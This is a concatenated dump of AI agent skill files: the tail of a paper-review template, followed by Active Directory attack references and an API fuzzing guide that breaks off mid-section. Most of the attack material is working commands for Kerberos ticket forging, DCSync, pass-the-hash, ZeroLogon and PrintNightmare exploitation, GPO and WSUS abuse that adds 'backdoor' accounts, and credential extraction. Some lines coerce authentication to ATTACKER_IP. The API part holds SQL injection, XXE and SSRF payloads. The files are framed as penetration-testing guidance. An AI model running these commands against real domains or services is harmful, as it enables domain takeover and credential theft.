suggestion]\n\n---\n\n### 3. Results\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List results highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### 4. Writing\n\n**Score**: [1-10]\n\n**Strengths:**\n- [List writing highlights]\n\n**Issues & Suggestions:**\n- 🔴 **Major**: [Issue description] → [Specific revision suggestion]\n- 🟡 **Minor**: [Issue description] → [Specific revision suggestion]\n\n---\n\n### Revision Priority Checklist\n\nRevision suggestions ranked by importance to help authors revise efficiently:\n\n| Priority | Dimension | Type | Revision Item |\n|----------|-----------|------|---------------|\n| 1 | [Dimension] | Major | [Brief description] |\n| 2 | [Dimension] | Major | [Brief description] |\n| 3 | [Dimension] | Minor | [Brief description] |\n| ... | ... | ... | ... |\n\n---\n\n### General Advice for Authors\n\n[2-3 paragraphs of comprehensive advice, covering the paper's core strengths, areas most in need of improvement, and recommended revision strategy]\n```\n\n---\n\n## Review Principles\n\n1. **Constructive and actionable**: Every criticism must be accompanied by a specific, actionable improvement suggestion — no purely negative feedback\n2. **Evidence-driven**: When identifying issues, reference specific paragraphs, figures, or data from the paper\n3. **Fair and objective**: Highlight both strengths and weaknesses; avoid one-sided criticism\n4. **Standard calibration**: Adjust review rigor based on the target venue's standards (e.g., Nature/Science-level review criteria vs. mid-tier journals)\n\n## Additional Notes\n\n- If the user provides a PDF file, first use the PDF tool to extract the paper content, then proceed with the review\n- If only an abstract is provided, focus the review on the novelty of the research question, the soundness of the method overview, and writing quality — and suggest that the user submit the full paper for a more comprehensive review\n- If the user specifies a review focus, provide more detailed and in-depth evaluation on the corresponding dimension\n- For interdisciplinary papers, assess methodological soundness from the perspectives of each relevant discipline\n\n<!-- File: skills/active-directory-attacks/references/advanced-attacks.md (Tokens: ~2831 | Category: anthropic-skill) -->\n# Advanced Active Directory Attacks Reference\r\n\r\n## Table of Contents\r\n1. [Delegation Attacks](#delegation-attacks)\r\n2. [Group Policy Object Abuse](#group-policy-object-abuse)\r\n3. [RODC Attacks](#rodc-attacks)\r\n4. [SCCM/WSUS Deployment](#sccmwsus-deployment)\r\n5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)\r\n6. [Trust Relationship Attacks](#trust-relationship-attacks)\r\n7. [ADFS Golden SAML](#adfs-golden-saml)\r\n8. [Credential Sources](#credential-sources)\r\n9. [Linux AD Integration](#linux-ad-integration)\r\n\r\n---\r\n\r\n## Delegation Attacks\r\n\r\n### Unconstrained Delegation\r\n\r\nWhen a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.\r\n\r\n**Find Delegation:**\r\n```powershell\r\n# PowerShell\r\nGet-ADComputer -Filter {TrustedForDelegation -eq $True}\r\n\r\n# BloodHound\r\nMATCH (c:Computer {unconstraineddelegation:true}) RETURN c\r\n```\r\n\r\n**SpoolService Abuse:**\r\n```bash\r\n# Check spooler service\r\nls \\\\dc01\\pipe\\spoolss\r\n\r\n# Trigger with SpoolSample\r\n.\\SpoolSample.exe DC01.domain.local HELPDESK.domain.local\r\n\r\n# Or with printerbug.py\r\npython3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP\r\n```\r\n\r\n**Monitor with Rubeus:**\r\n```powershell\r\nRubeus.exe monitor /interval:1\r\n```\r\n\r\n### Constrained Delegation\r\n\r\n**Identify:**\r\n```powershell\r\nGet-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo\r\n```\r\n\r\n**Exploit with Rubeus:**\r\n```powershell\r\n# S4U2 attack\r\nRubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt\r\n```\r\n\r\n**Exploit with Impacket:**\r\n```bash\r\ngetST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP\r\n```\r\n\r\n### Resource-Based Constrained Delegation (RBCD)\r\n\r\n```powershell\r\n# Create machine account\r\nNew-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)\r\n\r\n# Set delegation\r\nSet-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$\r\n\r\n# Get ticket\r\n.\\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt\r\n```\r\n\r\n---\r\n\r\n## Group Policy Object Abuse\r\n\r\n### Find Vulnerable GPOs\r\n\r\n```powershell\r\nGet-DomainObjectAcl -Identity \"SuperSecureGPO\" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match \"GenericWrite|WriteDacl|WriteOwner\")}\r\n```\r\n\r\n### Abuse with SharpGPOAbuse\r\n\r\n```powershell\r\n# Add local admin\r\n.\\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName \"Vulnerable GPO\"\r\n\r\n# Add user rights\r\n.\\SharpGPOAbuse.exe --AddUserRights --UserRights \"SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight\" --UserAccount attacker --GPOName \"Vulnerable GPO\"\r\n\r\n# Add immediate task\r\n.\\SharpGPOAbuse.exe --AddComputerTask --TaskName \"Update\" --Author DOMAIN\\Admin --Command \"cmd.exe\" --Arguments \"/c net user backdoor Password123! /add\" --GPOName \"Vulnerable GPO\"\r\n```\r\n\r\n### Abuse with pyGPOAbuse (Linux)\r\n\r\n```bash\r\n./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id \"12345677-ABCD-9876-ABCD-123456789012\"\r\n```\r\n\r\n---\r\n\r\n## RODC Attacks\r\n\r\n### RODC Golden Ticket\r\n\r\nRODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.\r\n\r\n### RODC Key List Attack\r\n\r\n**Requirements:**\r\n- krbtgt credentials of the RODC (-rodcKey)\r\n- ID of the krbtgt account of the RODC (-rodcNo)\r\n\r\n```bash\r\n# Impacket keylistattack\r\nkeylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full\r\n\r\n# Using secretsdump with keylist\r\nsecretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist\r\n```\r\n\r\n**Using Rubeus:**\r\n```powershell\r\nRubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx\r\n```\r\n\r\n---\r\n\r\n## SCCM/WSUS Deployment\r\n\r\n### SCCM Attack with MalSCCM\r\n\r\n```bash\r\n# Locate SCCM server\r\nMalSCCM.exe locate\r\n\r\n# Enumerate targets\r\nMalSCCM.exe inspect /all\r\nMalSCCM.exe inspect /computers\r\n\r\n# Create target group\r\nMalSCCM.exe group /create /groupname:TargetGroup /grouptype:device\r\nMalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC\r\n\r\n# Create malicious app\r\nMalSCCM.exe app /create /name:backdoor /uncpath:\"\\\\SCCM\\SCCMContentLib$\\evil.exe\"\r\n\r\n# Deploy\r\nMalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update\r\n\r\n# Force checkin\r\nMalSCCM.exe checkin /groupname:TargetGroup\r\n\r\n# Cleanup\r\nMalSCCM.exe app /cleanup /name:backdoor\r\nMalSCCM.exe group /delete /groupname:TargetGroup\r\n```\r\n\r\n### SCCM Network Access Accounts\r\n\r\n```powershell\r\n# Find SCCM blob\r\nGet-Wmiobject -namespace \"root\\ccm\\policy\\Machine\\ActualConfig\" -class \"CCM_NetworkAccessAccount\"\r\n\r\n# Decrypt with SharpSCCM\r\n.\\SharpSCCM.exe get naa -u USERNAME -p PASSWORD\r\n```\r\n\r\n### WSUS Deployment Attack\r\n\r\n```bash\r\n# Using SharpWSUS\r\nSharpWSUS.exe locate\r\nSharpWSUS.exe inspect\r\n\r\n# Create malicious update\r\nSharpWSUS.exe create /payload:\"C:\\psexec.exe\" /args:\"-accepteula -s -d cmd.exe /c \\\"net user backdoor Password123! /add\\\"\" /title:\"Critical Update\"\r\n\r\n# Deploy to target\r\nSharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:\"Demo Group\"\r\n\r\n# Check status\r\nSharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local\r\n\r\n# Cleanup\r\nSharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:\"Demo Group\"\r\n```\r\n\r\n---\r\n\r\n## AD Certificate Services (ADCS)\r\n\r\n### ESC1 - Misconfigured Templates\r\n\r\nTemplate allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.\r\n\r\n```bash\r\n# Find vulnerable templates\r\ncertipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable\r\n\r\n# Request certificate as admin\r\ncertipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local\r\n\r\n# Authenticate\r\ncertipy auth -pfx administrator.pfx -dc-ip DC_IP\r\n```\r\n\r\n### ESC4 - ACL Vulnerabilities\r\n\r\n```python\r\n# Check for WriteProperty\r\npython3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl\r\n\r\n# Add ENROLLEE_SUPPLIES_SUBJECT flag\r\npython3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT\r\n\r\n# Perform ESC1, then restore\r\npython3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag\r\n```\r\n\r\n### ESC8 - NTLM Relay to Web Enrollment\r\n\r\n```bash\r\n# Start relay\r\nntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController\r\n\r\n# Coerce authentication\r\npython3 petitpotam.py ATTACKER_IP DC_IP\r\n\r\n# Use certificate\r\nRubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt\r\n```\r\n\r\n### Shadow Credentials\r\n\r\n```bash\r\n# Add Key Credential (pyWhisker)\r\npython3 pywhisker.py -d \"domain.local\" -u \"user1\" -p \"password\" --target \"TARGET\" --action add\r\n\r\n# Get TGT with PKINIT\r\npython3 gettgtpkinit.py -cert-pfx \"cert.pfx\" -pfx-pass \"password\" \"domain.local/TARGET\" target.ccache\r\n\r\n# Get NT hash\r\nexport KRB5CCNAME=target.ccache\r\npython3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET\r\n```\r\n\r\n---\r\n\r\n## Trust Relationship Attacks\r\n\r\n### Child to Parent Domain (SID History)\r\n\r\n```powershell\r\n# Get Enterprise Admins SID from parent\r\n$ParentSID = \"S-1-5-21-PARENT-DOMAIN-SID-519\"\r\n\r\n# Create Golden Ticket with SID History\r\nkerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt\r\n```\r\n\r\n### Forest to Forest (Trust Ticket)\r\n\r\n```bash\r\n# Dump trust key\r\nlsadump::trust /patch\r\n\r\n# Forge inter-realm TGT\r\nkerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi\r\n\r\n# Use trust ticket\r\n.\\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt\r\n```\r\n\r\n---\r\n\r\n## ADFS Golden SAML\r\n\r\n**Requirements:**\r\n- ADFS service account access\r\n- Token signing certificate (PFX + decryption password)\r\n\r\n```bash\r\n# Dump with ADFSDump\r\n.\\ADFSDump.exe\r\n\r\n# Forge SAML token\r\npython ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local\r\n```\r\n\r\n---\r\n\r\n## Credential Sources\r\n\r\n### LAPS Password\r\n\r\n```powershell\r\n# PowerShell\r\nGet-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'\r\n\r\n# CrackMapExec\r\ncrackmapexec ldap DC_IP -u user -p password -M laps\r\n```\r\n\r\n### GMSA Password\r\n\r\n```powershell\r\n# PowerShell + DSInternals\r\n$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'\r\n$mp = $gmsa.'msDS-ManagedPassword'\r\nConvertFrom-ADManagedPasswordBlob $mp\r\n```\r\n\r\n```bash\r\n# Linux with bloodyAD\r\npython bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword\r\n```\r\n\r\n### Group Policy Preferences (GPP)\r\n\r\n```bash\r\n# Find in SYSVOL\r\nfindstr /S /I cpassword \\\\domain.local\\sysvol\\domain.local\\policies\\*.xml\r\n\r\n# Decrypt\r\npython3 Get-GPPPassword.py -no-pass 'DC_IP'\r\n```\r\n\r\n### DSRM Credentials\r\n\r\n```powershell\r\n# Dump DSRM hash\r\nInvoke-Mimikatz -Command '\"token::elevate\" \"lsadump::sam\"'\r\n\r\n# Enable DSRM admin logon\r\nSet-ItemProperty \"HKLM:\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\LSA\" -name DsrmAdminLogonBehavior -value 2\r\n```\r\n\r\n---\r\n\r\n## Linux AD Integration\r\n\r\n### CCACHE Ticket Reuse\r\n\r\n```bash\r\n# Find tickets\r\nls /tmp/ | grep krb5cc\r\n\r\n# Use ticket\r\nexport KRB5CCNAME=/tmp/krb5cc_1000\r\n```\r\n\r\n### Extract from Keytab\r\n\r\n```bash\r\n# List keys\r\nklist -k /etc/krb5.keytab\r\n\r\n# Extract with KeyTabExtract\r\npython3 keytabextract.py /etc/krb5.keytab\r\n```\r\n\r\n### Extract from SSSD\r\n\r\n```bash\r\n# Database location\r\n/var/lib/sss/secrets/secrets.ldb\r\n\r\n# Key location\r\n/var/lib/sss/secrets/.secrets.mkey\r\n\r\n# Extract\r\npython3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey\r\n```\n\n<!-- File: skills/active-directory-attacks/SKILL.md (Tokens: ~2719 | Category: anthropic-skill) -->\n---\nname: active-directory-attacks\ndescription: This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", \"Silver Ticket\", \"AS-REP roasting\", \"NTLM relay\", or needs guidance on Windows domain penetration testing.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Active Directory Attacks\n\n## Purpose\n\nProvide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.\n\n## Inputs/Prerequisites\n\n- Kali Linux or Windows attack platform\n- Domain user credentials (for most attacks)\n- Network access to Domain Controller\n- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec\n\n## Outputs/Deliverables\n\n- Domain enumeration data\n- Extracted credentials and hashes\n- Kerberos tickets for impersonation\n- Domain Administrator access\n- Persistent access mechanisms\n\n---\n\n## Essential Tools\n\n| Tool | Purpose |\n|------|---------|\n| BloodHound | AD attack path visualization |\n| Impacket | Python AD attack tools |\n| Mimikatz | Credential extraction |\n| Rubeus | Kerberos attacks |\n| CrackMapExec | Network exploitation |\n| PowerView | AD enumeration |\n| Responder | LLMNR/NBT-NS poisoning |\n\n---\n\n## Core Workflow\n\n### Step 1: Kerberos Clock Sync\n\nKerberos requires clock synchronization (±5 minutes):\n\n```bash\n# Detect clock skew\nnmap -sT 10.10.10.10 -p445 --script smb2-time\n\n# Fix clock on Linux\nsudo date -s \"14 APR 2024 18:25:16\"\n\n# Fix clock on Windows\nnet time /domain /set\n\n# Fake clock without changing system time\nfaketime -f '+8h' <command>\n```\n\n### Step 2: AD Reconnaissance with BloodHound\n\n```bash\n# Start BloodHound\nneo4j console\nbloodhound --no-sandbox\n\n# Collect data with SharpHound\n.\\SharpHound.exe -c All\n.\\SharpHound.exe -c All --ldapusername user --ldappassword pass\n\n# Python collector (from Linux)\nbloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all\n```\n\n### Step 3: PowerView Enumeration\n\n```powershell\n# Get domain info\nGet-NetDomain\nGet-DomainSID\nGet-NetDomainController\n\n# Enumerate users\nGet-NetUser\nGet-NetUser -SamAccountName targetuser\nGet-UserProperty -Properties pwdlastset\n\n# Enumerate groups\nGet-NetGroupMember -GroupName \"Domain Admins\"\nGet-DomainGroup -Identity \"Domain Admins\" | Select-Object -ExpandProperty Member\n\n# Find local admin access\nFind-LocalAdminAccess -Verbose\n\n# User hunting\nInvoke-UserHunter\nInvoke-UserHunter -Stealth\n```\n\n---\n\n## Credential Attacks\n\n### Password Spraying\n\n```bash\n# Using kerbrute\n./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success\n```\n\n### Kerberoasting\n\nExtract service account TGS tickets and crack offline:\n\n```bash\n# Impacket\nGetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt\n\n# Rubeus\n.\\Rubeus.exe kerberoast /outfile:hashes.txt\n\n# CrackMapExec\ncrackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt\n\n# Crack with hashcat\nhashcat -m 13100 hashes.txt rockyou.txt\n```\n\n### AS-REP Roasting\n\nTarget accounts with \"Do not require Kerberos preauthentication\":\n\n```bash\n# Impacket\nGetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat\n\n# Rubeus\n.\\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt\n\n# Crack with hashcat\nhashcat -m 18200 hashes.txt rockyou.txt\n```\n\n### DCSync Attack\n\nExtract credentials directly from DC (requires Replicating Directory Changes rights):\n\n```bash\n# Impacket\nsecretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt\n\n# Mimikatz\nlsadump::dcsync /domain:domain.local /user:krbtgt\nlsadump::dcsync /domain:domain.local /user:Administrator\n```\n\n---\n\n## Kerberos Ticket Attacks\n\n### Pass-the-Ticket (Golden Ticket)\n\nForge TGT with krbtgt hash for any user:\n\n```powershell\n# Get krbtgt hash via DCSync first\n# Mimikatz - Create Golden Ticket\nkerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt\n\n# Impacket\nticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator\nexport KRB5CCNAME=Administrator.ccache\npsexec.py -k -no-pass domain.local/Administrator@dc.domain.local\n```\n\n### Silver Ticket\n\nForge TGS for specific service:\n\n```powershell\n# Mimikatz\nkerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt\n```\n\n### Pass-the-Hash\n\n```bash\n# Impacket\npsexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\nwmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\nsmbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\n\n# CrackMapExec\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth\n```\n\n### OverPass-the-Hash\n\nConvert NTLM hash to Kerberos ticket:\n\n```bash\n# Impacket\ngetTGT.py domain.local/user -hashes :NTHASH\nexport KRB5CCNAME=user.ccache\n\n# Rubeus\n.\\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt\n```\n\n---\n\n## NTLM Relay Attacks\n\n### Responder + ntlmrelayx\n\n```bash\n# Start Responder (disable SMB/HTTP for relay)\nresponder -I eth0 -wrf\n\n# Start relay\nntlmrelayx.py -tf targets.txt -smb2support\n\n# LDAP relay for delegation attack\nntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access\n```\n\n### SMB Signing Check\n\n```bash\ncrackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt\n```\n\n---\n\n## Certificate Services Attacks (AD CS)\n\n### ESC1 - Misconfigured Templates\n\n```bash\n# Find vulnerable templates\ncertipy find -u user@domain.local -p password -dc-ip 10.10.10.10\n\n# Exploit ESC1\ncertipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local\n\n# Authenticate with certificate\ncertipy auth -pfx administrator.pfx -dc-ip 10.10.10.10\n```\n\n### ESC8 - Web Enrollment Relay\n\n```bash\nntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController\n```\n\n---\n\n## Critical CVEs\n\n### ZeroLogon (CVE-2020-1472)\n\n```bash\n# Check vulnerability\ncrackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon\n\n# Exploit\npython3 cve-2020-1472-exploit.py DC01 10.10.10.10\n\n# Extract hashes\nsecretsdump.py -just-dc domain.local/DC01\\$@10.10.10.10 -no-pass\n\n# Restore password (important!)\npython3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD\n```\n\n### PrintNightmare (CVE-2021-1675)\n\n```bash\n# Check for vulnerability\nrpcdump.py @10.10.10.10 | grep 'MS-RPRN'\n\n# Exploit (requires hosting malicious DLL)\npython3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\\\attacker\\share\\evil.dll'\n```\n\n### samAccountName Spoofing (CVE-2021-42278/42287)\n\n```bash\n# Automated exploitation\npython3 sam_the_admin.py \"domain.local/user:password\" -dc-ip 10.10.10.10 -shell\n```\n\n---\n\n## Quick Reference\n\n| Attack | Tool | Command |\n|--------|------|---------|\n| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |\n| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |\n| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |\n| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |\n| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |\n| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |\n\n---\n\n## Constraints\n\n**Must:**\n- Synchronize time with DC before Kerberos attacks\n- Have valid domain credentials for most attacks\n- Document all compromised accounts\n\n**Must Not:**\n- Lock out accounts with excessive password spraying\n- Modify production AD objects without approval\n- Leave Golden Tickets without documentation\n\n**Should:**\n- Run BloodHound for attack path discovery\n- Check for SMB signing before relay attacks\n- Verify patch levels for CVE exploitation\n\n---\n\n## Examples\n\n### Example 1: Domain Compromise via Kerberoasting\n\n```bash\n# 1. Find service accounts with SPNs\nGetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10\n\n# 2. Request TGS tickets\nGetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt\n\n# 3. Crack tickets\nhashcat -m 13100 tgs.txt rockyou.txt\n\n# 4. Use cracked service account\npsexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10\n```\n\n### Example 2: NTLM Relay to LDAP\n\n```bash\n# 1. Start relay targeting LDAP\nntlmrelayx.py -t ldaps://dc.domain.local --delegate-access\n\n# 2. Trigger authentication (e.g., via PrinterBug)\npython3 printerbug.py domain.local/user:pass@target 10.10.10.12\n\n# 3. Use created machine account for RBCD attack\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Clock skew too great | Sync time with DC or use faketime |\n| Kerberoasting returns empty | No service accounts with SPNs |\n| DCSync access denied | Need Replicating Directory Changes rights |\n| NTLM relay fails | Check SMB signing, try LDAP target |\n| BloodHound empty | Verify collector ran with correct creds |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).\n\n<!-- File: skills/api-fuzzing-bug-bounty/SKILL.md (Tokens: ~2729 | Category: anthropic-skill) -->\n---\nname: api-fuzzing-bug-bounty\ndescription: This skill should be used when the user asks to \"test API security\", \"fuzz APIs\", \"find IDOR vulnerabilities\", \"test REST API\", \"test GraphQL\", \"API penetration testing\", \"bug bounty API testing\", or needs guidance on API security assessment techniques.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# API Fuzzing for Bug Bounty\n\n## Purpose\n\nProvide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.\n\n## Inputs/Prerequisites\n\n- Burp Suite or similar proxy tool\n- API wordlists (SecLists, api_wordlist)\n- Understanding of REST/GraphQL/SOAP protocols\n- Python for scripting\n- Target API endpoints and documentation (if available)\n\n## Outputs/Deliverables\n\n- Identified API vulnerabilities\n- IDOR exploitation proofs\n- Authentication bypass techniques\n- SQL injection points\n- Unauthorized data access documentation\n\n---\n\n## API Types Overview\n\n| Type | Protocol | Data Format | Structure |\n|------|----------|-------------|-----------|\n| SOAP | HTTP | XML | Header + Body |\n| REST | HTTP | JSON/XML/URL | Defined endpoints |\n| GraphQL | HTTP | Custom Query | Single endpoint |\n\n---\n\n## Core Workflow\n\n### Step 1: API Reconnaissance\n\nIdentify API type and enumerate endpoints:\n\n```bash\n# Check for Swagger/OpenAPI documentation\n/swagger.json\n/openapi.json\n/api-docs\n/v1/api-docs\n/swagger-ui.html\n\n# Use Kiterunner for API discovery\nkr scan https://target.com -w routes-large.kite\n\n# Extract paths from Swagger\npython3 json2paths.py swagger.json\n```\n\n### Step 2: Authentication Testing\n\n```bash\n# Test different login paths\n/api/mobile/login\n/api/v3/login\n/api/magic_link\n/api/admin/login\n\n# Check rate limiting on auth endpoints\n# If no rate limit → brute force possible\n\n# Test mobile vs web API separately\n# Don't assume same security controls\n```\n\n### Step 3: IDOR Testing\n\nInsecure Direct Object Reference is the most common API vulnerability:\n\n```bash\n# Basic IDOR\nGET /api/users/1234 → GET /api/users/1235\n\n# Even if ID is email-based, try numeric\n/?user_id=111 instead of /?user_id=user@mail.com\n\n# Test /me/orders vs /user/654321/orders\n```\n\n**IDOR Bypass Techniques:**\n\n```bash\n# Wrap ID in array\n{\"id\":111} → {\"id\":[111]}\n\n# JSON wrap\n{\"id\":111} → {\"id\":{\"id\":111}}\n\n# Send ID twice\nURL?id=<LEGIT>&id=<VICTIM>\n\n# Wildcard injection\n{\"user_id\":\"*\"}\n\n# Parameter pollution\n/api/get_profile?user_id=<victim>&user_id=<legit>\n{\"user_id\":<legit_id>,\"user_id\":<victim_id>}\n```\n\n### Step 4: Injection Testing\n\n**SQL Injection in JSON:**\n\n```json\n{\"id\":\"56456\"}                    → OK\n{\"id\":\"56456 AND 1=1#\"}           → OK  \n{\"id\":\"56456 AND 1=2#\"}           → OK\n{\"id\":\"56456 AND 1=3#\"}           → ERROR (vulnerable!)\n{\"id\":\"56456 AND sleep(15)#\"}     → SLEEP 15 SEC\n```\n\n**Command Injection:**\n\n```bash\n# Ruby on Rails\n?url=Kernel#open → ?url=|ls\n\n# Linux command injection\napi.url.com/endpoint?name=file.txt;ls%20/\n```\n\n**XXE Injection:**\n\n```xml\n<!DOCTYPE test [ <!ENTITY xxe SYSTEM \"file:///etc/passwd\"> ]>\n```\n\n**SSRF via API:**\n\n```html\n<object data=\"http://127.0.0.1:8443\"/>\n<img src=\"http://127.0.0.1:445\"/>\n```\n\n**.NET Path.Combine Vulnerability:**\n\n```bash\n# If .NET app uses Path.Combine(path_1, path_2)\n# Test for path traversal\nhttps://example.org/download?filename=a.png\nhttps://example.org/download?filename=C:\\inetpub\\wwwroot\\web.config\nhttps://example.org/download?filename=\\\\smb.dns.attacker.com\\a.png\n```\n\n### Step 5: Method Testing\n\n```bash\n# Test all HTTP methods\nGET /api/v1/users/1\nPOST /api/v1/users/1\nPUT /api/v1/users/1\nDELETE /api/v1/users/1\nPATCH /api/v1/users/1\n\n# Switch content type\nContent-Type: application/json → application/xml\n```\n\n---\n\n## GraphQL-Specific Testing\n\n### Introspection Query\n\nFetch entire backend schema:\n\n```graphql\n{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}\n```\n\n**URL-encoded version:**\n\n```\n/graphql?query={__schema{types{name,kind,description,fields{name}}}}\n```\n\n### GraphQL IDOR\n\n```graphql\n# Try accessing other user IDs\nquery {\n  user(id: \"OTHER_USER_ID\") {\n    email\n    password\n    creditCard\n  }\n}\n```\n\n### GraphQL SQL/NoSQL Injection\n\n```graphql\nmutation {\n  login(input: {\n    email: \"test' or 1=1--\"\n    password: \"password\"\n  }) {\n    success\n    jwt\n  }\n}\n```\n\n### Rate Limit Bypass (Batching)\n\n```graphql\nmutation {login(input:{email:\"a@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"b@example.com\" password:\"password\"}){success jwt}}\nmutation {login(input:{email:\"c@example.com\" password:\"password\"}){success jwt}}\n```\n\n### GraphQL DoS (Nested Queries)\n\n```graphql\nquery {\n  posts {\n    comments {\n      user {\n        posts {\n          comments {\n            user {\n              posts { ... }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### GraphQL XSS\n\n```bash\n# XSS via GraphQL 